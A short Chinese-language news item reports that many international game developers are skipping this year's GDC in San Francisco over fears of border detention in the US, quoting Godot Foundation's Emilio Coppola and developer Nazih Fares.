数万游戏开发者和制作人本周将齐聚旧金山，参加为期一周的游戏开发者大会（GDC），这是 1988 年以来的传统，但今年的 GDC 将有许多国际游戏开发者缺席，原因是他们觉得美国不再安全，无论 GDC 对他们的工作和职业发展有多么重要，他们不想冒不必要的风险。Godot 基金会执行董事 Emilio Coppola 称他认识的非美国人中没有一个人计划参加 GDC。独立游戏工作室 Le Cabinet du Savoir 的创意总监 Nazih Fares 表示不愿意亲身经历被边检逮捕。去年参加 GDC 的游戏开发者采取了额外的多重安保措施，他们很多人表示为避免麻烦而不想参加今年的 GDC。